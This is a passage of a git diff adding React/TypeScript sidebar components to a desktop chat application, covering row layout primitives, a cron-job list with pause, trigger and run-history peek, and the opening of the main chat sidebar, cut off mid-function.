+      {actions ? <div className="flex shrink-0 items-center self-center">{actions}</div> : null}
+    </div>
+  )
+}
+
+/** Multi-control left cluster (project rows). */
+export function SidebarRowCluster({ className, ...props }: React.ComponentProps<'div'>) {
+  return <div className={cn(rowInset, className)} {...props} />
+}
+
+/** Session row main tap target. */
+export function SidebarRowBody({ className, ...props }: React.ComponentProps<'button'>) {
+  return <RowButton className={cn(rowInset, 'bg-transparent text-left', className)} {...props} />
+}
+
+/** Tappable label — underline/truncate live on the inner span, not the button. */
+export function SidebarRowLink({
+  className,
+  labelClassName,
+  children,
+  ...props
+}: React.ComponentProps<'button'> & { labelClassName?: string }) {
+  return (
+    <RowButton className={cn('min-w-0 shrink bg-transparent p-0 text-left', className)} {...props}>
+      <span className={cn(rowLabel, labelClassName)}>{children}</span>
+    </RowButton>
+  )
+}
+
+/** Fixed leading column (dot, icon, drag handle). */
+export function SidebarRowLead({ className, ...props }: React.ComponentProps<'span'>) {
+  return <span className={cn(rowLead, className)} {...props} />
+}
+
+/** Standard row label typography. */
+export function SidebarRowLabel({ className, ...props }: React.ComponentProps<'span'>) {
+  return <span className={cn(rowLabel, className)} {...props} />
+}
+
+/** Dot ↔ grabber swap for dnd-kit reorder rows. */
+export function SidebarRowGrab({
+  ariaLabel,
+  children,
+  className,
+  dragging = false,
+  dragHandleProps,
+  leadClassName
+}: {
+  ariaLabel: string
+  children: React.ReactNode
+  className?: string
+  dragging?: boolean
+  dragHandleProps?: React.HTMLAttributes<HTMLElement>
+  leadClassName?: string
+}) {
+  return (
+    <SidebarRowLead
+      {...dragHandleProps}
+      aria-label={ariaLabel}
+      className={cn(
+        'group/handle relative cursor-grab touch-none overflow-hidden active:cursor-grabbing',
+        leadClassName,
+        className
+      )}
+      data-reorder-handle
+      onClick={event => event.stopPropagation()}
+    >
+      <span className="grid size-full place-items-center transition-opacity group-hover/handle:opacity-0 group-focus-within/handle:opacity-0">
+        {children}
+      </span>
+      <Codicon
+        className={cn(
+          'absolute text-(--ui-text-quaternary) opacity-0 transition-opacity group-hover/handle:opacity-80 group-focus-within/handle:opacity-80 hover:text-(--ui-text-secondary)',
+          dragging && 'text-(--ui-text-secondary) opacity-100'
+        )}
+        name="grabber"
+        size="0.75rem"
+      />
+    </SidebarRowLead>
+  )
+}
+
+/** Icon/dot slot inside SidebarRowLead — caps visual size so rows align. */
+export function SidebarRowLeadGlyph({
+  children,
+  className,
+  style
+}: {
+  children: React.ReactNode
+  className?: string
+  style?: React.CSSProperties
+}) {
+  return (
+    <span
+      className={cn('grid size-full place-items-center text-(--ui-text-tertiary) [&_.codicon]:leading-none', className)}
+      style={style}
+    >
+      {children}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/cron-jobs-section.tsx b/ui-desktop/src/app/chat/sidebar/cron-jobs-section.tsx
new file mode 100644
index 000000000..1a648ee20
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/cron-jobs-section.tsx
@@ -0,0 +1,408 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useMemo, useState } from 'react'
+
+import { deleteCronJob, getCronJobRuns, pauseCronJob, resumeCronJob, type SessionInfo } from '@/clawcodex'
+import { usePaneVisible } from '@/components/pane-shell/pane-visibility'
+import { ActionsContextMenu, type MenuKit, renderActionItem } from '@/components/ui/actions-menu'
+import { Codicon } from '@/components/ui/codicon'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { SidebarGroup, SidebarGroupContent } from '@/components/ui/sidebar'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { fmtDayTime, relativeTime } from '@/lib/time'
+import { cn } from '@/lib/utils'
+import { updateCronJobs } from '@/store/cron'
+import { $changeEventsAvailable, $cronChangeTick } from '@/store/live-sync'
+import { notify, notifyError } from '@/store/notifications'
+import { $selectedStoredSessionId } from '@/store/session'
+import type { CronJob } from '@/types/clawcodex'
+
+import { jobState, jobTitle, STATE_DOT } from '../../cron/job-state'
+import { SidebarPanelLabel } from '../../shell/sidebar-label'
+
+import { SidebarLoadMoreRow } from './load-more-row'
+
+const INACTIVE_STATES = new Set(['completed', 'disabled', 'error', 'paused'])
+
+// Recent runs shown in the inline quick-peek — enough to glance at history
+// without turning the sidebar into the full Cron page.
+const PEEK_RUN_LIMIT = 5
+
+// Runs are written by the background scheduler tick. cron.changed reloads the
+// open peek immediately on event-capable backends (poll drops to a backstop);
+// older backends keep the legacy cadence.
+const PEEK_POLL_INTERVAL_MS = 8000
+const PEEK_BACKSTOP_INTERVAL_MS = 60_000
+
+// Keep the section compact: show a few jobs up front, reveal more in larger
+// steps on demand (mirrors the messaging sections in the sidebar).
+const INITIAL_VISIBLE_JOBS = 3
+const LOAD_MORE_STEP = 10
+
+function nextRunMs(job: CronJob): null | number {
+  if (!job.next_run_at) {
+    return null
+  }
+
+  const ms = Date.parse(job.next_run_at)
+
+  return Number.isNaN(ms) ? null : ms
+}
+
+// Runs all belong to the same job, so the run name just repeats the job name —
+// the timestamp is what tells them apart. Compact (no year, no seconds) for the
+// narrow sidebar.
+function formatRunTime(seconds?: null | number): string {
+  if (!seconds) {
+    return '—'
+  }
+
+  const date = new Date(seconds * 1000)
+
+  return Number.isNaN(date.valueOf()) ? '—' : fmtDayTime.format(date)
+}
+
+interface SidebarCronJobsSectionProps {
+  jobs: CronJob[]
+  label: string
+  max?: number
+  // Open a run session's chat (1 click to output).
+  onOpenRun: (sessionId: string) => void
+  // Open the full Cron page focused on this job (manage / full history).
+  onManageJob: (jobId: string) => void
+  // Fire the job now.
+  onTriggerJob: (jobId: string) => void
+  onToggle: () => void
+  open: boolean
+}
+
+export function SidebarCronJobsSection({
+  jobs,
+  label,
+  max = 50,
+  onManageJob,
+  onOpenRun,
+  onTriggerJob,
+  onToggle,
+  open
+}: SidebarCronJobsSectionProps) {
+  const [nowMs, setNowMs] = useState(() => Date.now())
+  // Single-open inline peek so the section stays scannable.
+  const [peekJobId, setPeekJobId] = useState<null | string>(null)
+  // Rows revealed so far; starts compact, grows in steps via "load more".
+  const [visibleCount, setVisibleCount] = useState(INITIAL_VISIBLE_JOBS)
+
+  const visible = usePaneVisible()
+
+  // One clock for the whole section (rows are pure) so the countdowns tick
+  // without re-rendering the rest of the sidebar. Only runs while expanded and visible.
+  useEffect(() => {
+    if (!open || !visible) {
+      return
+    }
+
+    const id = window.setInterval(() => setNowMs(Date.now()), 1000)
+
+    return () => window.clearInterval(id)
+  }, [open, visible])
+
+  // Upcoming first (soonest next run), jobs with no next run sink to the bottom,
+  // then alphabetical for stability.
+  const sorted = useMemo(() => {
+    return [...jobs].sort((a, b) => {
+      const an = nextRunMs(a)
+      const bn = nextRunMs(b)
+
+      if (an !== null && bn !== null && an !== bn) {
+        return an - bn
+      }
+
+      if (an === null && bn !== null) {
+        return 1
+      }
+
+      if (an !== null && bn === null) {
+        return -1
+      }
+
+      return jobTitle(a).localeCompare(jobTitle(b))
+    })
+  }, [jobs])
+
+  const cap = Math.min(visibleCount, max)
+  const shown = sorted.slice(0, cap)
+  const hiddenCount = Math.min(sorted.length, max) - shown.length
+
+  return (
+    <SidebarGroup className="shrink-0 p-0 pb-1">
+      <div className="group/section flex shrink-0 items-center justify-between pb-1 pt-1.5">
+        <button
+          className="group/section-label flex w-fit min-w-0 items-center gap-1 bg-transparent text-left leading-none"
+          onClick={onToggle}
+          type="button"
+        >
+          <SidebarPanelLabel>{label}</SidebarPanelLabel>
+          <DisclosureCaret
+            className="text-(--ui-text-tertiary) opacity-0 transition group-hover/section-label:opacity-100"
+            open={open}
+          />
+        </button>
+      </div>
+      {open && (
+        <SidebarGroupContent className="flex max-h-72 flex-col gap-px overflow-x-hidden overflow-y-auto overscroll-contain pb-1.75 compact:max-h-none compact:overflow-visible">
+          {shown.map(job => (
+            <CronJobSidebarRow
+              expanded={peekJobId === job.id}
+              job={job}
+              key={job.id}
+              nowMs={nowMs}
+              onManage={() => onManageJob(job.id)}
+              onOpenRun={onOpenRun}
+              onTogglePeek={() => setPeekJobId(prev => (prev === job.id ? null : job.id))}
+              onTrigger={() => onTriggerJob(job.id)}
+            />
+          ))}
+          {hiddenCount > 0 && (
+            <SidebarLoadMoreRow
+              onClick={() => setVisibleCount(count => count + LOAD_MORE_STEP)}
+              step={Math.min(LOAD_MORE_STEP, hiddenCount)}
+            />
+          )}
+        </SidebarGroupContent>
+      )}
+    </SidebarGroup>
+  )
+}
+
+function CronJobSidebarRow({
+  expanded,
+  job,
+  nowMs,
+  onManage,
+  onOpenRun,
+  onTogglePeek,
+  onTrigger
+}: {
+  expanded: boolean
+  job: CronJob
+  nowMs: number
+  onManage: () => void
+  onOpenRun: (sessionId: string) => void
+  onTogglePeek: () => void
+  onTrigger: () => void
+}) {
+  const { t } = useI18n()
+  const c = t.cron
+  const state = jobState(job)
+  const next = nextRunMs(job)
+  const label = jobTitle(job)
+  const isPaused = state === 'paused'
+
+  const meta = INACTIVE_STATES.has(state) ? (c.states[state] ?? state) : next !== null ? relativeTime(next, nowMs) : '—'
+
+  // Pause/resume and delete aren't threaded through the sidebar's prop chain, so
+  // drive them against the shared $cronJobs atom directly (same path the cron
+  // overlay uses) — the sidebar and overlay render from that one atom, so the
+  // row updates in place.
+  const togglePause = async () => {
+    try {
+      const updated = isPaused ? await resumeCronJob(job.id) : await pauseCronJob(job.id)
+      updateCronJobs(rows => rows.map(row => (row.id === job.id ? updated : row)))
+      notify({ kind: 'success', title: isPaused ? c.resumed : c.paused, message: label })
+    } catch (err) {
+      notifyError(err, c.failedUpdate)
+    }
+  }
+
+  const remove = async () => {
+    if (!window.confirm(`${c.deleteDescPrefix}${label}${c.deleteDescSuffix}`)) {
+      return
+    }
+
+    try {
+      await deleteCronJob(job.id)
+      updateCronJobs(rows => rows.filter(row => row.id !== job.id))
+      notify({ kind: 'success', title: c.deleted, message: label })
+    } catch (err) {
+      notifyError(err, c.failedDelete)
+    }
+  }
+
+  // One action set for both the hover buttons and the right-click menu.
+  const items = (kit: MenuKit) => (
+    <>
+      {renderActionItem(kit, { icon: 'zap', key: 'trigger', label: c.triggerNow, onSelect: onTrigger })}
+      {renderActionItem(kit, {
+        icon: isPaused ? 'play' : 'debug-pause',
+        key: 'pause',
+        label: isPaused ? c.resume : c.pause,
+        onSelect: () => void togglePause()
+      })}
+      {renderActionItem(kit, { icon: 'watch', key: 'manage', label: c.manage, onSelect: onManage })}
+      <kit.Separator />
+      {renderActionItem(kit, {
+        icon: 'trash',
+        key: 'delete',
+        label: t.common.delete,
+        onSelect: () => void remove(),
+        variant: 'destructive'
+      })}
+    </>
+  )
+
+  return (
+    <div>
+      <ActionsContextMenu ariaLabel={c.actionsTitle} contentClassName="w-44" items={items}>
+        <div className="group/cron relative grid min-h-[1.625rem] grid-cols-[minmax(0,1fr)_auto] items-center rounded-md hover:bg-(--chrome-action-hover)">
+          {/* Lead with the dot in the same w-3.5 cell + pl-2 the session rows use
+              so the cron dots line up with the sessions above; the caret sits next
+              to the label (matching the other sidebar disclosures) and the whole
+              label area toggles the run peek. */}
+          <Tip label={label}>
+            <button
+              aria-expanded={expanded}
+              aria-label={expanded ? c.hideRuns : c.showRuns}
+              className="flex min-w-0 items-center gap-1.5 bg-transparent py-0.5 pl-2 pr-1 text-left focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/40"
+              onClick={onTogglePeek}
+              type="button"
+            >
+              <span className="grid w-3.5 shrink-0 place-items-center">
+                <span
+                  aria-hidden="true"
+                  className={cn(
+                    'size-1 rounded-full',
+                    STATE_DOT[state] ?? 'bg-(--ui-text-quaternary)',
+                    state === 'running' && 'size-1.5 animate-pulse'
+                  )}
+                />
+              </span>
+              <span className="min-w-0 truncate text-[0.8125rem] text-(--ui-text-secondary) group-hover/cron:text-foreground">
+                {label}
+              </span>
+              <DisclosureCaret
+                className={cn(
+                  'shrink-0 text-(--ui-text-tertiary) transition',
+                  expanded ? 'opacity-100' : 'opacity-0 group-hover/cron:opacity-100'
+                )}
+                open={expanded}
+              />
+            </button>
+          </Tip>
+          {/* Trailing cluster: countdown by default, quick actions on hover. */}
+          <div className="flex items-center gap-0.5 justify-self-end pr-1">
+            <span className="text-[0.6875rem] text-(--ui-text-tertiary) tabular-nums group-hover/cron:hidden">
+              {meta}
+            </span>
+            <div className="hidden items-center gap-0.5 group-hover/cron:flex">
+              <Tip label={c.triggerNow}>
+                <button
+                  aria-label={c.triggerNow}
+                  className="grid size-5 place-items-center rounded-sm text-(--ui-text-tertiary) hover:bg-(--ui-control-hover-background) hover:text-foreground"
+                  onClick={onTrigger}
+                  type="button"
+                >
+                  <Codicon name="zap" size="0.75rem" />
+                </button>
+              </Tip>
+              <Tip label={c.manage}>
+                <button
+                  aria-label={c.manage}
+                  className="grid size-5 place-items-center rounded-sm text-(--ui-text-tertiary) hover:bg-(--ui-control-hover-background) hover:text-foreground"
+                  onClick={onManage}
+                  type="button"
+                >
+                  <Codicon name="watch" size="0.75rem" />
+                </button>
+              </Tip>
+            </div>
+          </div>
+        </div>
+      </ActionsContextMenu>
+      {expanded && <CronJobSidebarRuns jobId={job.id} onOpenRun={onOpenRun} />}
+    </div>
+  )
+}
+
+function CronJobSidebarRuns({ jobId, onOpenRun }: { jobId: string; onOpenRun: (sessionId: string) => void }) {
+  const { t } = useI18n()
+  const c = t.cron
+  const selectedSessionId = useStore($selectedStoredSessionId)
+  const changeEventsAvailable = useStore($changeEventsAvailable)
+  const cronChangeTick = useStore($cronChangeTick)
+  const [runs, setRuns] = useState<null | SessionInfo[]>(null)
+  const visible = usePaneVisible()
+
+  useEffect(() => {
+    let cancelled = false
+
+    const load = () =>
+      getCronJobRuns(jobId, PEEK_RUN_LIMIT)
+        .then(result => {
+          if (!cancelled) {
+            setRuns(result)
+          }
+        })
+        .catch(() => {
+          if (!cancelled) {
+            setRuns(prev => prev ?? [])
+          }
+        })
+
+    // Hidden pane: skip the peek entirely — no initial load, no interval.
+    // `visible` is in the dep array, so becoming visible re-runs this effect
+    // and starts the load + timer fresh (same shape as the section clock).
+    if (!visible) {
+      return () => {
+        cancelled = true
+      }
+    }
+
+    void load()
+
+    const intervalId = window.setInterval(
+      () => {
+        if (document.visibilityState === 'visible') {
+          void load()
+        }
+      },
+      changeEventsAvailable ? PEEK_BACKSTOP_INTERVAL_MS : PEEK_POLL_INTERVAL_MS
+    )
+
+    return () => {
+      cancelled = true
+      window.clearInterval(intervalId)
+    }
+    // cronChangeTick: a fired run reloads the peek immediately.
+  }, [changeEventsAvailable, cronChangeTick, jobId, visible])
+
+  return (
+    <div className="mb-1 ml-[1.375rem] flex flex-col gap-px">
+      {runs === null ? (
+        <div className="flex items-center gap-1.5 py-1 pl-1 text-[0.6875rem] text-(--ui-text-tertiary)">
+          <GlyphSpinner ariaLabel={c.loading} className="text-[0.75rem]" />
+        </div>
+      ) : runs.length === 0 ? (
+        <div className="py-1 pl-1 text-[0.6875rem] text-(--ui-text-tertiary)">{c.noRuns}</div>
+      ) : (
+        <>
+          {runs.map(run => (
+            <button
+              className={cn(
+                'truncate rounded-md px-1.5 py-0.5 text-left text-[0.6875rem] tabular-nums focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/40',
+                run.id === selectedSessionId
+                  ? 'bg-(--ui-row-active-background) text-foreground'
+                  : 'text-(--ui-text-secondary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+              )}
+              key={run.id}
+              onClick={() => onOpenRun(run.id)}
+              type="button"
+            >
+              {formatRunTime(run.last_active || run.started_at)}
+            </button>
+          ))}
+        </>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/index.tsx b/ui-desktop/src/app/chat/sidebar/index.tsx
new file mode 100644
index 000000000..f6ea74fd6
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/index.tsx
@@ -0,0 +1,1553 @@
+import { KeyboardSensor, PointerSensor, useSensor, useSensors } from '@dnd-kit/core'
+import { sortableKeyboardCoordinates } from '@dnd-kit/sortable'
+import { useStore } from '@nanostores/react'
+import type * as React from 'react'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { useLocation } from 'react-router'
+
+import { PlatformAvatar } from '@/app/messaging/platform-icon'
+import { searchSessions, type SessionInfo, type SessionSearchResult } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { ContextMenu, ContextMenuContent, ContextMenuTrigger } from '@/components/ui/context-menu'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { KbdGroup } from '@/components/ui/kbd'
+import { SearchField } from '@/components/ui/search-field'
+import {
+  Sidebar,
+  SidebarContent,
+  SidebarGroup,
+  SidebarGroupContent,
+  SidebarMenu,
+  SidebarMenuButton,
+  SidebarMenuItem
+} from '@/components/ui/sidebar'
+import { Tip, TipKeybindLabel } from '@/components/ui/tooltip'
+import { useContributions } from '@/contrib/react/use-contributions'
+import { useI18n } from '@/i18n'
+import { comboTokens } from '@/lib/keybinds/combo'
+import { profileColor } from '@/lib/profile-color'
+import { sessionMatchesSearch } from '@/lib/session-search'
+import { normalizeSessionSource, sessionSourceLabel } from '@/lib/session-source'
+import { cn } from '@/lib/utils'
+import { $cronJobs } from '@/store/cron'
+import { $bindings } from '@/store/keybinds'
+import {
+  $dismissedAutoProjectIds,
+  $panesFlipped,
+  $pinnedSessionIds,
+  $sidebarAgentsGrouped,
+  $sidebarCronOpen,
+  $sidebarMessagingOpenIds,
+  $sidebarPinsOpen,
+  $sidebarProjectOrderIds,
+  $sidebarRecentsOpen,
+  $sidebarSessionOrderIds,
+  $sidebarSessionOrderManual,
+  $sidebarWorkspaceOrderIds,
+  $sidebarWorkspaceParentOrderIds,
+  filterVisibleProjects,
+  pinSession,
+  SESSION_SEARCH_FOCUS_EVENT,
+  setPinnedSessionOrder,
+  setSidebarAgentsGrouped,
+  setSidebarCronOpen,
+  setSidebarPinsOpen,
+  setSidebarProjectOrderIds,
+  setSidebarRecentsOpen,
+  setSidebarSessionOrderIds,
+  setSidebarSessionOrderManual,
+  setSidebarWorkspaceOrderIds,
+  setSidebarWorkspaceParentOrderIds,
+  SIDEBAR_SESSIONS_PAGE_SIZE,
+  toggleSidebarMessagingOpen,
+  unpinSession
+} from '@/store/layout'
+import { $newChatProfile, $profiles, $profileScope, ALL_PROFILES, normalizeProfileKey } from '@/store/profile'
+import {
+  $activeProjectId,
+  $projects,
+  $projectScope,
+  $projectTree,
+  $projectTreeLoading,
+  $removedSessionIds,
+  $reposScanning,
+  ALL_PROJECTS,
+  enterProject,
+  exitProjectScope,
+  fetchProjectSessions,
+  openProjectCreate,
+  refreshProjects,
+  refreshProjectTree,
+  refreshWorktrees,
+  scanAndRecordRepos
+} from '@/store/projects'
+import { openRouteTile } from '@/store/route-tiles'
+import {
+  $cronSessions,
+  $currentCwd,
+  $gatewayState,
+  $messagingPlatformTotals,
+  $messagingSessions,
+  $messagingTruncated,
+  $sessionProfilesTruncated,
+  $sessions,
+  $sessionsLoading,
+  sessionPinId,
+  setCurrentCwd
+} from '@/store/session'
+import { $focusedStoredSessionId, $workingSessionIds, type SplitDir } from '@/store/session-states'
+
+import {
+  type AppView,
+  ARTIFACTS_ROUTE,
+  MESSAGING_ROUTE,
+  SIDEBAR_NAV_AREA,
+  type SidebarNavContribution,
+  SKILLS_ROUTE
+} from '../../routes'
+import type { SidebarNavItem } from '../../types'
+
+import { SidebarCronJobsSection } from './cron-jobs-section'
+import { SidebarLoadMoreRow } from './load-more-row'
+import { orderByIds, reconcileOrderIds, resolveManualSessionOrderIds, sameIds } from './order'
+import { ProfileRail } from './profile-switcher'
+import { ProjectDialog } from './project-dialog'
+import {
+  excludeProjectSessions,
+  orderProjectsByIds,
+  overlayLiveLanes,
+  overlayLivePreviews,
+  PROJECT_PREVIEW_COUNT,
+  ProjectBackRow,
+  ProjectMenu,
+  projectTreeCwd,
+  sessionRecency as sessionTime,
+  type SidebarProjectTree,
+  type SidebarSessionGroup,
+  type SidebarWorkspaceTree,
+  sortProjectsForOverview,
+  StartWorkButton,
+  useRepoWorktreeMap
+} from './projects'
+import { WorktreeDialog } from './projects/worktree-dialog'
+import { SidebarBlankState, SidebarPinnedEmptyState, SidebarSessionSkeletons } from './section-states'
+import { buildSessionByAnyId } from './session-index'
+import { SidebarSessionsSection, VIRTUALIZE_THRESHOLD } from './sessions-section'
+import { CONTEXT_SPLIT_KIT, SplitSubmenu } from './split-submenu'
+
+// Non-session groups (messaging platforms) stay compact: show a few rows up
+// front, reveal more in larger steps on demand. Keeps a busy platform from
+// dominating the sidebar before the user asks to see it.
+const NON_SESSION_INITIAL_ROWS = 3
+const NON_SESSION_LOAD_STEP = 10
+
+const SIDEBAR_NAV: SidebarNavItem[] = [
+  {
+    id: 'new-session',
+    label: '',
+    icon: props => <Codicon name="robot" {...props} />,
+    action: 'new-session',
+    keybindActionId: 'session.new'
+  },
+  {
+    id: 'skills',
+    label: '',
+    icon: props => <Codicon name="symbol-misc" {...props} />,
+    route: SKILLS_ROUTE,
+    keybindActionId: 'nav.skills'
+  },
+  {
+    id: 'messaging',
+    label: '',
+    icon: props => <Codicon name="comment" {...props} />,
+    route: MESSAGING_ROUTE,
+    keybindActionId: 'nav.messaging'
+  },
+  {
+    id: 'artifacts',
+    label: '',
+    icon: props => <Codicon name="files" {...props} />,
+    route: ARTIFACTS_ROUTE,
+    keybindActionId: 'nav.artifacts'
+  }
+]
+
+// Two modes via the `compact` height variant (styles.css):
+//   tall    → each section is shrink-0, capped, its own scroller; Sessions is flex-1.
+//   compact → COMPACT_FLAT drops the caps so the whole stack scrolls as one.
+// Sections stay shrink-0 so none can be squeezed below its content and bleed onto
+// the next — the flexbox `min-height: auto` overlap trap that caused the bug.
+const COMPACT_FLAT = 'compact:max-h-none compact:overflow-visible'
+
+// Vertical scroll only — never a horizontal bar from glow bleed, long titles, etc.
+const SCROLL_Y = 'overflow-y-auto overflow-x-hidden overscroll-contain'
+
+// A non-session group's scroll body: own scroller when tall, flattened when compact.
+const GROUP_BODY = cn(SCROLL_Y, COMPACT_FLAT)
+
+// Section-header action icons stay hidden until the whole header row is hovered
+// (group/section lives on SidebarSectionHeader), mirroring the artifacts/file
+// browser header affordances. focus-visible keeps them keyboard-reachable.
+const HEADER_ACTION_BTN =
+  'text-(--ui-text-tertiary) opacity-0 transition-opacity hover:bg-(--ui-control-hover-background) hover:text-foreground group-hover/section:opacity-100 focus-visible:opacity-100'
+
+// The view toggle (overview group toggle / in-project back) is the one control
+// that stays visible at all times — it's the stable navigation affordance, not
+// a hover-revealed action.
+const HEADER_NAV_BTN =
+  'text-(--ui-text-tertiary) opacity-70 transition-opacity hover:bg-(--ui-control-hover-background) hover:text-foreground hover:opacity-100 focus-visible:opacity-100'
+
+// FTS results cover sessions that aren't in the loaded page; synthesize a
+// minimal SessionInfo so they render in the same row component (resume works
+// by id; the snippet stands in for the preview).
+function searchResultToSession(result: SessionSearchResult): SessionInfo {
+  const ts = result.session_started ?? Date.now() / 1000
+
+  return {
+    archived: false,
+    cwd: null,
+    ended_at: null,
+    id: result.session_id,
+    _lineage_root_id: result.lineage_root ?? null,
+    input_tokens: 0,
+    is_active: false,
+    last_active: ts,
+    message_count: 0,
+    model: result.model ?? null,
+    output_tokens: 0,
+    preview: result.snippet?.trim() || null,
+    source: result.source ?? null,
+    started_at: ts,
+    title: null,
+    tool_call_count: 0
+  }
+}
+
+interface ChatSidebarProps extends React.ComponentProps<typeof Sidebar> {
+  currentView: AppView
+  onNavigate: (item: SidebarNavItem) => void
+  onLoadMoreSessions: () => Promise<void> | void
+  onLoadMoreProfileSessions?: (profile: string) => Promise<void> | void
+  onLoadMoreMessaging?: (platform: string) => Promise<void> | void
+  onResumeSession: (sessionId: string) => void
+  onDeleteSession: (sessionId: string) => void
+  onArchiveSession: (sessionId: string) => void
+  onBranchSession: (sessionId: string) => void
+  onNewSessionInWorkspace: (path: null | string) => void
+  /** Create a brand-new session and open it as a tile on `dir`. */
+  onNewSessionSplit: (dir: SplitDir) => void
+  onManageCronJob: (jobId: string) => void
+  onTriggerCronJob: (jobId: string) => void
+}
+
+export function ChatSidebar({
+  currentView,
+  onNavigate,
+  onLoadMoreSessions,
+  onLoadMoreProfileSessions,
+  onLoadMoreMessaging,
+  onResumeSession,
+  onDeleteSession,
+  onArchiveSession,
+  onBranchSession,
+  onNewSessionInWorkspace,
+  onNewSessionSplit,
+  onManageCronJob,
+  onTriggerCronJob
+}: ChatSidebarProps) {
+  const { t } = useI18n()
+  const s = t.sidebar
+  const { pathname } = useLocation()
+  // Contributed nav rows (plugins pairing a page with a sidebar entry) render
+  // below the built-ins with the same chrome; active = at their route.
+  const navContributions = useContributions(SIDEBAR_NAV_AREA)
+
+  const contributedNav = useMemo<SidebarNavItem[]>(
+    () =>
+      navContributions.flatMap(c => {
+        const data = c.data as Partial<SidebarNavContribution> | undefined
+
+        if (!data?.path?.startsWith('/') || !data.label) {
+          return []
+        }
+
+        const codicon = data.codicon || 'plug'
+
+        return [
+          {
+            id: c.id,
+            label: data.label,
+            icon: (props: { className?: string }) => <Codicon name={codicon} {...props} />,
+            route: data.path
+          }
+        ]
+      }),
+    [navContributions]
+  )
+
+  const panesFlipped = useStore($panesFlipped)
+  const agentsGrouped = useStore($sidebarAgentsGrouped)
+  const pinnedSessionIds = useStore($pinnedSessionIds)
+  const pinsOpen = useStore($sidebarPinsOpen)
+  const agentsOpen = useStore($sidebarRecentsOpen)
+  const cronOpen = useStore($sidebarCronOpen)
+  // The sidebar highlight tracks the FOCUSED session — the interacted tile's
+  // tab, else the main selection — so it stays 1:1 with whatever tab is active.
+  const selectedSessionId = useStore($focusedStoredSessionId)
+  const sessions = useStore($sessions)
+  const cronSessions = useStore($cronSessions)
+  const cronJobs = useStore($cronJobs)
+  const messagingSessions = useStore($messagingSessions)
+  const messagingPlatformTotals = useStore($messagingPlatformTotals)
+  const messagingTruncated = useStore($messagingTruncated)
+  const sessionsLoading = useStore($sessionsLoading)
+  const sessionProfilesTruncated = useStore($sessionProfilesTruncated)
+  const workingSessionIds = useStore($workingSessionIds)
+  const profiles = useStore($profiles)
+  const profileScope = useStore($profileScope)
+  // Only surface the profile switcher when more than one profile exists, so
+  // single-profile users see the unchanged sidebar.
+  const multiProfile = profiles.length > 1
+  // Gate ALL-profiles grouping on multiProfile too: if a user drops back to one
+  // profile while scope is still ALL (persisted), the rail is hidden and they'd
+  // otherwise be stuck in the grouped view with no way out.
+  const showAllProfiles = multiProfile && profileScope === ALL_PROFILES
+  const agentOrderIds = useStore($sidebarSessionOrderIds)
+  const agentOrderManual = useStore($sidebarSessionOrderManual)
+  const workspaceOrderIds = useStore($sidebarWorkspaceOrderIds)
+  const workspaceParentOrderIds = useStore($sidebarWorkspaceParentOrderIds)
+  const projectOrderIds = useStore($sidebarProjectOrderIds)
+  const projects = useStore($projects)
+  const projectTree = useStore($projectTree)
+  const projectTreeLoading = useStore($projectTreeLoading)
+  const removedSessionIds = useStore($removedSessionIds)
+  const reposScanning = useStore($reposScanning)
+  const activeProjectId = useStore($activeProjectId)
+  const projectScope = useStore($projectScope)
+  const currentCwd = useStore($currentCwd)
+  const gatewayState = useStore($gatewayState)
+  const dismissedAutoProjects = useStore($dismissedAutoProjectIds)
+  const newSessionCombo = useStore($bindings)['session.new']?.[0]
+  const newSessionKbd = newSessionCombo ? comboTokens(newSessionCombo) : []
+  const [searchQuery, setSearchQuery] = useState('')
+  const [serverMatches, setServerMatches] = useState<SessionSearchResult[]>([])
+  const [searchPending, setSearchPending] = useState(false)
+  const [newSessionKbdFlash, setNewSessionKbdFlash] = useState(false)
+  const [profileLoadMorePending, setProfileLoadMorePending] = useState<Record<string, boolean>>({})
+  const [messagingLoadMorePending, setMessagingLoadMorePending] = useState<Record<string, boolean>>({})
+  const [recentsLoadMorePending, setRecentsLoadMorePending] = useState(false)
+  const messagingOpenIds = useStore($sidebarMessagingOpenIds)
+  // Per-platform count of rows currently revealed (starts at NON_SESSION_INITIAL_ROWS).
+  const [messagingVisible, setMessagingVisible] = useState<Record<string, number>>({})
+  const searchInputRef = useRef<HTMLInputElement>(null)
+  const trimmedQuery = searchQuery.trim()
+
+  // Hotkey (session.focusSearch) → focus the field once it's mounted.
+  useEffect(() => {
+    const onFocus = () => searchInputRef.current?.focus({ preventScroll: true })
+
+    window.addEventListener(SESSION_SEARCH_FOCUS_EVENT, onFocus)
+
+    return () => window.removeEventListener(SESSION_SEARCH_FOCUS_EVENT, onFocus)
+  }, [])
+
+  // Flash the ⌘N hint full-opacity (no transition) for the press, so hitting
+  // the shortcut visibly pings its affordance in the sidebar.
+  useEffect(() => {
+    let timeout: ReturnType<typeof setTimeout> | undefined
+
+    const onShortcut = () => {
+      setNewSessionKbdFlash(true)
+      clearTimeout(timeout)
+      timeout = setTimeout(() => setNewSessionKbdFlash(false), 140)
+    }
+
+    window.addEventListener('clawcodex:new-session-shortcut', onShortcut)
+
+    return () => {
+      window.removeEventListener('clawcodex:new-session-shortcut', onShortcut)
+      clearTimeout(timeout)
+    }
+  }, [])
+
+  const activeSidebarSessionId = currentView === 'chat' ? selectedSessionId : null
+
+  const dndSensors = useSensors(
+    useSensor(PointerSensor, { activationConstraint: { distance: 6 } }),
+    useSensor(KeyboardSensor, { coordinateGetter: sortableKeyboardCoordinates })
+  )
+
+  // Profile scope = the "workspace switcher" context. Concrete scope shows only
+  // that profile's sessions (clean rows, no per-row tags); ALL fans every
+  // profile in, grouped by profile below. Single-profile users land here with
+  // scope === their only profile, so nothing is filtered out.
+  const visibleSessions = useMemo(
